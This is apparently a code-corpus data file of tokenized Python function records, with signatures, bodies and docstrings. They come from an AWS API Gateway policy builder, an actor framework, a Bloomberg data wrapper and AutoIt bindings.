{"signature": "def _get_effect_statement(self, effect, methods):", "body": "statements = []<EOL>if len(methods) > <NUM_LIT:0>:<EOL><INDENT>statement = self._get_empty_statement(effect)<EOL>for method in methods:<EOL><INDENT>if (method['<STR_LIT>'] is None or<EOL>len(method['<STR_LIT>']) == <NUM_LIT:0>):<EOL><INDENT>statement['<STR_LIT>'].append(method['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>cond_statement = self._get_empty_statement(effect)<EOL>cond_statement['<STR_LIT>'].append(method['<STR_LIT>'])<EOL>cond_statement['<STR_LIT>'] = method['<STR_LIT>']<EOL>statements.append(cond_statement)<EOL><DEDENT><DEDENT>statements.append(statement)<EOL><DEDENT>return statements<EOL>", "docstring": "This function loops over an array of objects containing\na resourceArn and conditions statement and generates\nthe array of statements for the policy.", "id": "f5530:c1:m3"}
{"signature": "def allow_all_methods(self):", "body": "self._add_method('<STR_LIT>', HttpVerb.ALL, '<STR_LIT:*>', [])<EOL>", "docstring": "Adds a '*' allow to authorize access to all methods of an API", "id": "f5530:c1:m4"}
{"signature": "def deny_all_methods(self):", "body": "self._add_method('<STR_LIT>', HttpVerb.ALL, '<STR_LIT:*>', [])<EOL>", "docstring": "Adds a '*' allow to deny access to all methods of an API", "id": "f5530:c1:m5"}
{"signature": "def allow_method(self, verb, resource):", "body": "self._add_method('<STR_LIT>', verb, resource, [])<EOL>", "docstring": "Adds an API Gateway method (Http verb + Resource path)\nto the list of allowed methods for the policy", "id": "f5530:c1:m6"}
{"signature": "def deny_method(self, verb, resource):", "body": "self._add_method('<STR_LIT>', verb, resource, [])<EOL>", "docstring": "Adds an API Gateway method (Http verb + Resource path)\nto the list of denied methods for the policy", "id": "f5530:c1:m7"}
{"signature": "def allow_method_with_conditions(self, verb, resource, conditions):", "body": "self._add_method('<STR_LIT>', verb, resource, conditions)<EOL>", "docstring": "Adds an API Gateway method (Http verb + Resource path) to the\nlist of allowed methods and includes a condition for the policy\nstatement. More on AWS policy conditions here:\nhttp://docs.aws.amazon.com/IAM/latest/UserGuide/\nreference_policies_elements.html#Condition", "id": "f5530:c1:m8"}
{"signature": "def deny_method_with_conditions(self, verb, resource, conditions):", "body": "self._add_method('<STR_LIT>', verb, resource, conditions)<EOL>", "docstring": "Adds an API Gateway method (Http verb + Resource path) to the\nlist of denied methods and includes a condition for the policy\nstatement. More on AWS policy conditions here:\nhttp://docs.aws.amazon.com/IAM/latest/UserGuide/\nreference_policies_elements.html#Condition", "id": "f5530:c1:m9"}
{"signature": "def build(self):", "body": "if ((self.allowMethods is None or len(self.allowMethods) == <NUM_LIT:0>) and<EOL>(self.denyMethods is None or len(self.denyMethods) == <NUM_LIT:0>)):<EOL><INDENT>raise NameError('<STR_LIT>')<EOL><DEDENT>policy = {<EOL>'<STR_LIT>': self.principal_id,<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': self.version,<EOL>'<STR_LIT>': []<EOL>}<EOL>}<EOL>policy['<STR_LIT>']['<STR_LIT>'].extend(<EOL>self._get_effect_statement('<STR_LIT>', self.allowMethods))<EOL>policy['<STR_LIT>']['<STR_LIT>'].extend(<EOL>self._get_effect_statement('<STR_LIT>', self.denyMethods))<EOL>return policy<EOL>", "docstring": "Generates the policy document based on the internal lists of\nallowed and denied conditions. This will generate a policy with\ntwo main statements for the effect: one statement for Allow and\none statement for Deny. Methods that includes conditions will\nhave their own statement in the policy.", "id": "f5530:c1:m10"}
{"signature": "def package_meta():", "body": "_version_re = re.compile(r'<STR_LIT>')<EOL>_url_re = re.compile(r'<STR_LIT>')<EOL>_license_re = re.compile(r'<STR_LIT>')<EOL>with open('<STR_LIT>', '<STR_LIT:rb>') as ffinit:<EOL><INDENT>initcontent = ffinit.read()<EOL>version = str(ast.literal_eval(_version_re.search(<EOL>initcontent.decode('<STR_LIT:utf-8>')).group(<NUM_LIT:1>)))<EOL>url = str(ast.literal_eval(_url_re.search(<EOL>initcontent.decode('<STR_LIT:utf-8>')).group(<NUM_LIT:1>)))<EOL>license = str(ast.literal_eval(_license_re.search(<EOL>initcontent.decode('<STR_LIT:utf-8>')).group(<NUM_LIT:1>)))<EOL><DEDENT>return {<EOL>'<STR_LIT:version>': version,<EOL>'<STR_LIT>': license,<EOL>'<STR_LIT:url>': url,<EOL>}<EOL>", "docstring": "Read __init__.py for global package metadata.\n    Do this without importing the package.", "id": "f5534:m0"}
{"signature": "def tell(self, message, sender=no_sender):", "body": "if sender is not no_sender and not isinstance(sender, ActorRef):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self._cell.send_message(message, sender)<EOL>", "docstring": "Send a message to this actor. Asynchronous fire-and-forget.\n\n        :param message: The message to send.\n        :type message: Any\n\n        :param sender: The sender of the message. If provided it will be made\n            available to the receiving actor via the :attr:`Actor.sender` attribute.\n        :type sender: :class:`Actor`", "id": "f5549:c0:m1"}
{"signature": "def close(self):", "body": "self._primary_status = _Status.CLOSED<EOL>", "docstring": "Stop processing of all messages.", "id": "f5550:c2:m3"}
{"signature": "def suspend(self):", "body": "self._primary_status = _Status.SUSPENDED<EOL>", "docstring": "Stop processing of user message.", "id": "f5550:c2:m4"}
{"signature": "def resume(self):", "body": "self._primary_status = _Status.OPEN<EOL>", "docstring": "Continue processing of user message.", "id": "f5550:c2:m5"}
{"signature": "def set_scheduled(self):", "body": "with self._idle_lock:<EOL><INDENT>if self._idle:<EOL><INDENT>self._idle = False<EOL>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Returns True if state was successfully changed from idle to scheduled.", "id": "f5550:c2:m11"}
{"signature": "def __init__(self, system, supervisor):", "body": "self._system = system<EOL>self._supervisor = supervisor<EOL>", "docstring": ":param system:\n:type system: :class:`ActorSystem`\n\n:param supervisor:\n:type supervisor: :class:`InternalRef`", "id": "f5555:c0:m0"}
{"signature": "def __init__(self, system_dispatcher=None):", "body": "self._system_dispatcher = Dispatcher(Executor())if system_dispatcher is None else system_dispatcher<EOL>self._dead_letters = _DeadLetterRef()<EOL>self._terminate_promise = Promise()<EOL>class Guardian(Actor):<EOL><INDENT>def __init__(me):<EOL><INDENT>me._logger = logging.getLogger(__name__)<EOL><DEDENT>def receive(me, message):<EOL><INDENT>me._logger.warning(\"<STR_LIT>\")<EOL><DEDENT>def post_stop(me):<EOL><INDENT>self._terminate_promise.complete(None)<EOL><DEDENT><DEDENT>self._guardian = InternalRef(actors.internal.cell.Cell(Guardian,<EOL>dispatcher=self._system_dispatcher, system=self, parent=None))<EOL>self._guardian.send_system_message(Start)<EOL>actors.internal.factory.ActorFactory.__init__(self, self, self._guardian)<EOL>", "docstring": "The actor system is responsible for creating, configuring and stopping actors and\ndispatchers.\n\nNormally, only one system per application should be created.\n\n:param system_dispatcher: Override the dispatcher used by the system. This also acts as the\n    default dispatcher for new actors.\n:type system_dispatcher: :class:`Dispatcher`", "id": "f5556:c0:m0"}
{"signature": "def as_proxy(actor_ref):", "body": "return ProxyRef(actor_ref)<EOL>", "docstring": "Create a proxy wrapper from an existing reference. The actor MUST implement the\n:class:`ProxyActor` interface.\n\n:param actor_ref: The actor reference.\n:type actor_ref: :class:`ActorRef`", "id": "f5558:m0"}
{"signature": "def ask(actor, message):", "body": "sender = PromiseActorRef()<EOL>actor.tell(message, sender)<EOL>return sender.promise.future<EOL>", "docstring": "Send a message to `actor` and return a :class:`Future` holding a possible\nreply.\n\nTo receive a result, the actor MUST send a reply to `sender`.\n\n:param actor:\n:type actor: :class:`ActorRef`.\n\n:param message:\n:type message: :type: Any\n\n:return: A future holding the result.", "id": "f5560:m0"}
{"signature": "def receive(self, message):", "body": "", "docstring": "Override to provide the actor behaviour.\n\n:param message: The current message.", "id": "f5561:c0:m0"}
{"signature": "def pre_start(self):", "body": "", "docstring": "Called asynchronous before processing any messages.", "id": "f5561:c0:m1"}
{"signature": "def post_stop(self):", "body": "", "docstring": "Called asynchronous after the actor has stopped.", "id": "f5561:c0:m2"}
{"signature": "def pre_restart(self):", "body": "", "docstring": "Called on the failed actor before it's disposed of.", "id": "f5561:c0:m3"}
{"signature": "def post_restart(self):", "body": "", "docstring": "Called on the newly created actor.", "id": "f5561:c0:m4"}
{"signature": "@property<EOL><INDENT>def sender(self):<DEDENT>", "body": "return self.context.sender<EOL>", "docstring": "Alias for :attr:`self.context.sender`.", "id": "f5561:c0:m5"}
{"signature": "@property<EOL><INDENT>def ref(self):<DEDENT>", "body": "return self.context.self_ref<EOL>", "docstring": "Alias for :attr:`self.context.self_ref`.", "id": "f5561:c0:m6"}
{"signature": "def get(self, timeout=None):", "body": "result = None<EOL>try:<EOL><INDENT>result = self._result.get(True, timeout=timeout)<EOL><DEDENT>except Empty:<EOL><INDENT>raise Timeout()<EOL><DEDENT>if isinstance(result, Failure):<EOL><INDENT>six.reraise(*result.exc_info)<EOL><DEDENT>else:<EOL><INDENT>return result<EOL><DEDENT>", "docstring": "Return value on success, or raise exception on failure.", "id": "f5563:c1:m1"}
{"signature": "@property<EOL><INDENT>def mem_size(self):<DEDENT>", "body": "data_len = self._data_mem_size<EOL>node_count = len(list(self.xml_doc.iter(tag=etree.Element)))<EOL>if self.compressed:<EOL><INDENT>size = <NUM_LIT> * node_count + data_len + <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>tags_len = <NUM_LIT:0><EOL>for e in self.xml_doc.iter(tag=etree.Element):<EOL><INDENT>e_len = max(len(e.tag), <NUM_LIT:8>)<EOL>e_len = (e_len + <NUM_LIT:3>) & ~<NUM_LIT:3><EOL>tags_len += e_len<EOL><DEDENT>size = <NUM_LIT> * node_count + data_len + <NUM_LIT> + tags_len<EOL><DEDENT>return (size + <NUM_LIT:8>) & ~<NUM_LIT:7><EOL>", "docstring": "used when allocating memory ingame", "id": "f5570:c0:m5"}
{"signature": "def to_dict_list(mystr):", "body": "res = _parse(mystr)<EOL>dicts = []<EOL>for res_dict in res:<EOL><INDENT>dicts.append(res_dict.asDict())<EOL><DEDENT>return dicts<EOL>", "docstring": "Translate a string representation of a Bloomberg Open API Request/Response\ninto a list of dictionaries.return\n\nParameters\n----------\nmystr: str\n    A string representation of one or more blpapi.request.Request or\n    blp.message.Message, these should be '\\\\n' seperated", "id": "f5575:m1"}
{"signature": "def to_json(mystr):", "body": "dicts = to_dict_list(mystr)<EOL>json.dumps(dicts, indent=<NUM_LIT:2>)<EOL>", "docstring": "Translate a string representation of a Bloomberg Open API Request/Response\ninto a JSON string\n\nParameters\n----------\nmystr: str\n    A string representation of one or more blpapi.request.Request or\n    blp.message.Message, these should be '\\\\n' seperated", "id": "f5575:m2"}
{"signature": "@contextlib.contextmanager<EOL>def bopen(**kwargs):", "body": "con = BCon(**kwargs)<EOL>con.start()<EOL>try:<EOL><INDENT>yield con<EOL><DEDENT>finally:<EOL><INDENT>con.stop()<EOL><DEDENT>", "docstring": "Open and manage a BCon wrapper to a Bloomberg API session\n\nParameters\n----------\n**kwargs:\n    Keyword arguments passed into pdblp.BCon initialization", "id": "f5580:m1"}
{"signature": "def __init__(self, host='<STR_LIT:localhost>', port=<NUM_LIT>, debug=False, timeout=<NUM_LIT>,<EOL>session=None, identity=None):", "body": "if session is None:<EOL><INDENT>sessionOptions = blpapi.SessionOptions()<EOL>sessionOptions.setServerHost(host)<EOL>sessionOptions.setServerPort(port)<EOL>session = blpapi.Session(sessionOptions)<EOL><DEDENT>else:<EOL><INDENT>ev = session.nextEvent(timeout)<EOL>if ev.eventType() != blpapi.Event.TIMEOUT:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>self.timeout = timeout<EOL>self._session = session<EOL>self._identity = identity<EOL>self.debug = debug<EOL>", "docstring": "Create an object which manages connection to the Bloomberg API session\n\nParameters\n----------\nhost: str\n    Host name\nport: int\n    Port to connect to\ndebug: Boolean {True, False}\n    Boolean corresponding to whether to log Bloomberg Open API request\n    and response messages to stdout\ntimeout: int\n    Number of milliseconds before timeout occurs when parsing response.\n    See blp.Session.nextEvent() for more information.\nsession: blpapi.Session\n    A custom Bloomberg API session. If this is passed the host and port\n    parameters are ignored. This is exposed to allow the user more\n    customization in how they instantiate a session.\nidentity: blpapi.Identity\n    Identity to use for request authentication. This should only be\n    passed with an appropriate session and should already by\n    authenticated. This is only relevant for SAPI and B-Pipe.", "id": "f5580:c0:m0"}
{"signature": "@property<EOL><INDENT>def debug(self):<DEDENT>", "body": "return self._debug<EOL>", "docstring": "When True, print all Bloomberg Open API request and response messages\nto stdout", "id": "f5580:c0:m1"}
{"signature": "@debug.setter<EOL><INDENT>def debug(self, value):<DEDENT>", "body": "self._debug = value<EOL>", "docstring": "Set whether logging is True or False", "id": "f5580:c0:m2"}
{"signature": "def start(self):", "body": "<EOL>logger = _get_logger(self.debug)<EOL>started = self._session.start()<EOL>if started:<EOL><INDENT>ev = self._session.nextEvent()<EOL>ev_name = _EVENT_DICT[ev.eventType()]<EOL>logger.info('<STR_LIT>'.format(ev_name))<EOL>for msg in ev:<EOL><INDENT>logger.info('<STR_LIT>'.format(msg))<EOL><DEDENT>if ev.eventType() != blpapi.Event.SESSION_STATUS:<EOL><INDENT>raise RuntimeError('<STR_LIT>'<EOL>'<STR_LIT>'.format(ev_name))<EOL><DEDENT>ev = self._session.nextEvent()<EOL>ev_name = _EVENT_DICT[ev.eventType()]<EOL>logger.info('<STR_LIT>'.format(ev_name))<EOL>for msg in ev:<EOL><INDENT>logger.info('<STR_LIT>'.format(msg))<EOL><DEDENT>if ev.eventType() != blpapi.Event.SESSION_STATUS:<EOL><INDENT>raise RuntimeError('<STR_LIT>'<EOL>'<STR_LIT>'.format(ev_name))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>ev = self._session.nextEvent(self.timeout)<EOL>if ev.eventType() == blpapi.Event.SESSION_STATUS:<EOL><INDENT>for msg in ev:<EOL><INDENT>logger.warning('<STR_LIT>'.format(msg))<EOL><DEDENT>raise ConnectionError('<STR_LIT>')<EOL><DEDENT><DEDENT>self._init_services()<EOL>return self<EOL>", "docstring": "Start connection and initialize session services", "id": "f5580:c0:m3"}
{"signature": "def _init_services(self):", "body": "logger = _get_logger(self.debug)<EOL>opened = self._session.openService('<STR_LIT>')<EOL>ev = self._session.nextEvent()<EOL>ev_name = _EVENT_DICT[ev.eventType()]<EOL>logger.info('<STR_LIT>'.format(ev_name))<EOL>for msg in ev:<EOL><INDENT>logger.info('<STR_LIT>'.format(msg))<EOL><DEDENT>if ev.eventType() != blpapi.Event.SERVICE_STATUS:<EOL><INDENT>raise RuntimeError('<STR_LIT>'<EOL>'<STR_LIT>'.format(ev_name))<EOL><DEDENT>if not opened:<EOL><INDENT>logger.warning('<STR_LIT>')<EOL>raise ConnectionError('<STR_LIT>')<EOL><DEDENT>self.refDataService = self._session.getService('<STR_LIT>')<EOL>opened = self._session.openService('<STR_LIT>')<EOL>ev = self._session.nextEvent()<EOL>ev_name = _EVENT_DICT[ev.eventType()]<EOL>logger.info('<STR_LIT>'.format(ev_name))<EOL>for msg in ev:<EOL><INDENT>logger.info('<STR_LIT>'.format(msg))<EOL><DEDENT>if ev.eventType() != blpapi.Event.SERVICE_STATUS:<EOL><INDENT>raise RuntimeError('<STR_LIT>'<EOL>'<STR_LIT>'.format(ev_name))<EOL><DEDENT>if not opened:<EOL><INDENT>logger.warning('<STR_LIT>')<EOL>raise ConnectionError('<STR_LIT>')<EOL><DEDENT>self.exrService = self._session.getService('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Initialize blpapi.Session services", "id": "f5580:c0:m4"}
{"signature": "def bdh(self, tickers, flds, start_date, end_date, elms=None,<EOL>ovrds=None, longdata=False):", "body": "ovrds = [] if not ovrds else ovrds<EOL>elms = [] if not elms else elms<EOL>elms = list(elms)<EOL>data = self._bdh_list(tickers, flds, start_date, end_date,<EOL>elms, ovrds)<EOL>df = pd.DataFrame(data, columns=['<STR_LIT:date>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:value>'])<EOL>df.loc[:, '<STR_LIT:date>'] = pd.to_datetime(df.loc[:, '<STR_LIT:date>'])<EOL>if not longdata:<EOL><INDENT>cols = ['<STR_LIT>', '<STR_LIT>']<EOL>df = df.set_index(['<STR_LIT:date>'] + cols).unstack(cols)<EOL>df.columns = df.columns.droplevel(<NUM_LIT:0>)<EOL><DEDENT>return df<EOL>", "docstring": "Get tickers and fields, return pandas DataFrame with columns as\nMultiIndex with levels \"ticker\" and \"field\" and indexed by \"date\".\nIf long data is requested return DataFrame with columns\n[\"date\", \"ticker\", \"field\", \"value\"].\n\nParameters\n----------\ntickers: {list, string}\n    String or list of strings corresponding to tickers\nflds: {list, string}\n    String or list of strings corresponding to FLDS\nstart_date: string\n    String in format YYYYmmdd\nend_date: string\n    String in format YYYYmmdd\nelms: list of tuples\n    List of tuples where each tuple corresponds to the other elements\n    to be set, e.g. [(\"periodicityAdjustment\", \"ACTUAL\")].\n    Refer to the HistoricalDataRequest section in the\n    'Services & schemas reference guide' for more info on these values\novrds: list of tuples\n    List of tuples where each tuple corresponds to the override\n    field and value\nlongdata: boolean\n    Whether data should be returned in long data format or pivoted", "id": "f5580:c0:m7"}
{"signature": "def ref(self, tickers, flds, ovrds=None):", "body": "ovrds = [] if not ovrds else ovrds<EOL>logger = _get_logger(self.debug)<EOL>if type(tickers) is not list:<EOL><INDENT>tickers = [tickers]<EOL><DEDENT>if type(flds) is not list:<EOL><INDENT>flds = [flds]<EOL><DEDENT>request = self._create_req('<STR_LIT>', tickers, flds,<EOL>ovrds, [])<EOL>logger.info('<STR_LIT>'.format(request))<EOL>self._session.sendRequest(request, identity=self._identity)<EOL>data = self._parse_ref(flds)<EOL>data = pd.DataFrame(data)<EOL>data.columns = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT:value>']<EOL>return data<EOL>", "docstring": "Make a reference data request, get tickers and fields, return long\npandas DataFrame with columns [ticker, field, value]\n\nParameters\n----------\ntickers: {list, string}\n    String or list of strings corresponding to tickers\nflds: {list, string}\n    String or list of strings corresponding to FLDS\novrds: list of tuples\n    List of tuples where each tuple corresponds to the override\n    field and value\n\nExample\n-------\n>>> import pdblp\n>>> con = pdblp.BCon()\n>>> con.start()\n>>> con.ref(\"CL1 Comdty\", [\"FUT_GEN_MONTH\"])\n\nNotes\n-----\nThis returns reference data which has singleton values. In raw format\nthe messages passed back contain data of the form\n\nfieldData = {\n        FUT_GEN_MONTH = \"FGHJKMNQUVXZ\"\n}", "id": "f5580:c0:m9"}
{"signature": "def bulkref(self, tickers, flds, ovrds=None):", "body": "ovrds = [] if not ovrds else ovrds<EOL>logger = _get_logger(self.debug)<EOL>if type(tickers) is not list:<EOL><INDENT>tickers = [tickers]<EOL><DEDENT>if type(flds) is not list:<EOL><INDENT>flds = [flds]<EOL><DEDENT>setvals = []<EOL>request = self._create_req('<STR_LIT>', tickers, flds,<EOL>ovrds, setvals)<EOL>logger.info('<STR_LIT>'.format(request))<EOL>self._session.sendRequest(request, identity=self._identity)<EOL>data = self._parse_bulkref(flds)<EOL>data = pd.DataFrame(data)<EOL>data.columns = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT:name>', '<STR_LIT:value>', '<STR_LIT>']<EOL>return data<EOL>", "docstring": "Make a bulk reference data request, get tickers and fields, return long\npandas DataFrame with columns [ticker, field, name, value, position].\nName refers to the element name and position is the position in the\ncorresponding array returned.\n\nParameters\n----------\ntickers: {list, string}\n    String or list of strings corresponding to tickers\nflds: {list, string}\n    String or list of strings corresponding to FLDS\novrds: list of tuples\n    List of tuples where each tuple corresponds to the override\n    field and value\n\nExample\n-------\n>>> import pdblp\n>>> con = pdblp.BCon()\n>>> con.start()\n>>> con.bulkref('BCOM Index', 'INDX_MWEIGHT')\n\nNotes\n-----\nThis returns bulk reference data which has array values. In raw format\nthe messages passed back contain data of the form\n\nfieldData = {\n    INDX_MWEIGHT[] = {\n        INDX_MWEIGHT = {\n            Member Ticker and Exchange Code = \"BON8\"\n            Percentage Weight = 2.410000\n        }\n        INDX_MWEIGHT = {\n            Member Ticker and Exchange Code = \"C N8\"\n            Percentage Weight = 6.560000\n        }\n        INDX_MWEIGHT = {\n            Member Ticker and Exchange Code = \"CLN8\"\n            Percentage Weight = 7.620000\n        }\n    }\n}", "id": "f5580:c0:m11"}
{"signature": "def ref_hist(self, tickers, flds, dates, ovrds=None,<EOL>date_field='<STR_LIT>'):", "body": "ovrds = [] if not ovrds else ovrds<EOL>if type(tickers) is not list:<EOL><INDENT>tickers = [tickers]<EOL><DEDENT>if type(flds) is not list:<EOL><INDENT>flds = [flds]<EOL><DEDENT>self._send_hist(tickers, flds, dates, date_field, ovrds)<EOL>data = self._parse_ref(flds, keep_corrId=True, sent_events=len(dates))<EOL>data = pd.DataFrame(data)<EOL>data.columns = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT:value>', '<STR_LIT:date>']<EOL>data = data.sort_values(by='<STR_LIT:date>').reset_index(drop=True)<EOL>data = data.loc[:, ['<STR_LIT:date>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:value>']]<EOL>return data<EOL>", "docstring": "Make iterative calls to ref() and create a long DataFrame with columns\n[date, ticker, field, value] where each date corresponds to overriding\na historical data override field.\n\nParameters\n----------\ntickers: {list, string}\n    String or list of strings corresponding to tickers\nflds: {list, string}\n    String or list of strings corresponding to FLDS\ndates: list\n    list of date strings in the format YYYYmmdd\novrds: list of tuples\n    List of tuples where each tuple corresponds to the override\n    field and value. This should not include the date_field which will\n    be iteratively overridden\ndate_field: str\n    Field to iteratively override for requesting historical data,\n    e.g. REFERENCE_DATE, CURVE_DATE, etc.\n\nExample\n-------\n>>> import pdblp\n>>> con = pdblp.BCon()\n>>> con.start()\n>>> dates = [\"20160625\", \"20160626\"]\n>>> con.ref_hist(\"AUD1M CMPN Curncy\", \"SETTLE_DT\", dates)", "id": "f5580:c0:m14"}
{"signature": "def bulkref_hist(self, tickers, flds, dates, ovrds=None,<EOL>date_field='<STR_LIT>'):", "body": "ovrds = [] if not ovrds else ovrds<EOL>if type(tickers) is not list:<EOL><INDENT>tickers = [tickers]<EOL><DEDENT>if type(flds) is not list:<EOL><INDENT>flds = [flds]<EOL><DEDENT>self._send_hist(tickers, flds, dates, date_field, ovrds)<EOL>data = self._parse_bulkref(flds, keep_corrId=True,<EOL>sent_events=len(dates))<EOL>data = pd.DataFrame(data)<EOL>data.columns = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT:name>', '<STR_LIT:value>', '<STR_LIT>', '<STR_LIT:date>']<EOL>data = data.sort_values(by=['<STR_LIT:date>', '<STR_LIT>']).reset_index(drop=True)<EOL>data = data.loc[:, ['<STR_LIT:date>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:name>',<EOL>'<STR_LIT:value>', '<STR_LIT>']]<EOL>return data<EOL>", "docstring": "Make iterative calls to bulkref() and create a long DataFrame with\ncolumns [date, ticker, field, name, value, position] where each date\ncorresponds to overriding a historical data override field.\n\nParameters\n----------\ntickers: {list, string}\n    String or list of strings corresponding to tickers\nflds: {list, string}\n    String or list of strings corresponding to FLDS\ndates: list\n    list of date strings in the format YYYYmmdd\novrds: list of tuples\n    List of tuples where each tuple corresponds to the override\n    field and value. This should not include the date_field which will\n    be iteratively overridden\ndate_field: str\n    Field to iteratively override for requesting historical data,\n    e.g. REFERENCE_DATE, CURVE_DATE, etc.\n\nExample\n-------\n>>> import pdblp\n>>> con = pdblp.BCon()\n>>> con.start()\n>>> dates = [\"20160625\", \"20160626\"]\n>>> con.bulkref_hist(\"BVIS0587 Index\", \"CURVE_TENOR_RATES\", dates,\n...                  date_field=\"CURVE_DATE\")", "id": "f5580:c0:m15"}
{"signature": "def bdib(self, ticker, start_datetime, end_datetime, event_type, interval,<EOL>elms=None):", "body": "elms = [] if not elms else elms<EOL>logger = _get_logger(self.debug)<EOL>while(self._session.tryNextEvent()):<EOL><INDENT>pass<EOL><DEDENT>request = self.refDataService.createRequest('<STR_LIT>')<EOL>request.set('<STR_LIT>', ticker)<EOL>request.set('<STR_LIT>', event_type)<EOL>request.set('<STR_LIT>', interval)  <EOL>request.set('<STR_LIT>', start_datetime)<EOL>request.set('<STR_LIT>', end_datetime)<EOL>for name, val in elms:<EOL><INDENT>request.set(name, val)<EOL><DEDENT>logger.info('<STR_LIT>'.format(request))<EOL>self._session.sendRequest(request, identity=self._identity)<EOL>data = []<EOL>flds = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>for msg in self._receive_events():<EOL><INDENT>d = msg['<STR_LIT>']['<STR_LIT>']<EOL>for bar in d['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>data.append(bar['<STR_LIT>'])<EOL><DEDENT><DEDENT>data = pd.DataFrame(data).set_index('<STR_LIT:time>').sort_index().loc[:, flds]<EOL>return data<EOL>", "docstring": "Get Open, High, Low, Close, Volume, and numEvents for a ticker.\nReturn pandas DataFrame\n\nParameters\n----------\nticker: string\n    String corresponding to ticker\nstart_datetime: string\n    UTC datetime in format YYYY-mm-ddTHH:MM:SS\nend_datetime: string\n    UTC datetime in format YYYY-mm-ddTHH:MM:SS\nevent_type: string {TRADE, BID, ASK, BID_BEST, ASK_BEST, BEST_BID,\n                   BEST_ASK}\n    Requested data event type\ninterval: int {1... 1440}\n    Length of time bars\nelms: list of tuples\n    List of tuples where each tuple corresponds to the other elements\n    to be set. Refer to the IntradayBarRequest section in the\n    'Services & schemas reference guide' for more info on these values", "id": "f5580:c0:m17"}
{"signature": "def bsrch(self, domain):", "body": "logger = _get_logger(self.debug)<EOL>request = self.exrService.createRequest('<STR_LIT>')<EOL>request.set('<STR_LIT>', domain)<EOL>logger.info('<STR_LIT>'.format(request))<EOL>self._session.sendRequest(request, identity=self._identity)<EOL>data = []<EOL>for msg in self._receive_events(to_dict=False):<EOL><INDENT>for v in msg.getElement(\"<STR_LIT>\").values():<EOL><INDENT>for f in v.getElement(\"<STR_LIT>\").values():<EOL><INDENT>data.append(f.getElementAsString(\"<STR_LIT>\"))<EOL><DEDENT><DEDENT><DEDENT>return pd.DataFrame(data)<EOL>", "docstring": "This function uses the Bloomberg API to retrieve 'bsrch' (Bloomberg\nSRCH Data) queries. Returns list of tickers.\n\nParameters\n----------\ndomain: string\n    A character string with the name of the domain to execute.\n    It can be a user defined SRCH screen, commodity screen or\n    one of the variety of Bloomberg examples. All domains are in the\n    format <domain>:<search_name>. Example \"COMDTY:NGFLOW\"\n\nReturns\n-------\ndata: pandas.DataFrame\n    List of bloomberg tickers from the BSRCH", "id": "f5580:c0:m18"}
{"signature": "def stop(self):", "body": "self._session.stop()<EOL>", "docstring": "Close the blp session", "id": "f5580:c0:m19"}
{"signature": "def custom_req(session, request):", "body": "<EOL>while(session.tryNextEvent()):<EOL><INDENT>pass<EOL><DEDENT>print(\"<STR_LIT>\" % request)<EOL>session.sendRequest(request)<EOL>messages = []<EOL>while(True):<EOL><INDENT>ev = session.nextEvent(<NUM_LIT>)<EOL>for msg in ev:<EOL><INDENT>print(\"<STR_LIT>\" % msg)<EOL>messages.append(msg)<EOL><DEDENT>if ev.eventType() == blpapi.Event.RESPONSE:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return messages<EOL>", "docstring": "Utility for sending a predefined request and printing response as well\nas storing messages in a list, useful for testing\n\nParameters\n----------\nsession: blpapi.session.Session\nrequest: blpapi.request.Request\n    Request to be sent\n\nReturns\n-------\n    List of all messages received", "id": "f5582:m0"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def control_click(title, control, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>button = kwargs.get(\"<STR_LIT>\", \"<STR_LIT:left>\")<EOL>clicks = kwargs.get(\"<STR_LIT>\", <NUM_LIT:1>)<EOL>x = kwargs.get(\"<STR_LIT:x>\", INTDEFAULT)<EOL>y = kwargs.get(\"<STR_LIT:y>\", INTDEFAULT)<EOL>ret = AUTO_IT.AU3_ControlClick(LPCWSTR(title), LPCWSTR(text),<EOL>LPCWSTR(control), LPCWSTR(button),<EOL>INT(clicks), INT(x), INT(y))<EOL>return ret<EOL>", "docstring": ":param title:\n:param text:\n:param control:\n:param button:\n:param clicks:\n:param x:\n:param y:\n:return:", "id": "f5585:m0"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def control_click_by_handle(hwnd, h_ctrl, **kwargs):", "body": "button = kwargs.get(\"<STR_LIT>\", \"<STR_LIT:left>\")<EOL>clicks = kwargs.get(\"<STR_LIT>\", <NUM_LIT:1>)<EOL>x = kwargs.get(\"<STR_LIT:x>\", INTDEFAULT)<EOL>y = kwargs.get(\"<STR_LIT:y>\", INTDEFAULT)<EOL>ret = AUTO_IT.AU3_ControlClickByHandle(HWND(hwnd), HWND(h_ctrl),<EOL>LPCWSTR(button), INT(clicks),<EOL>INT(x), INT(y))<EOL>return ret<EOL>", "docstring": ":param handle:\n:param kwargs:\n:return:", "id": "f5585:m1"}
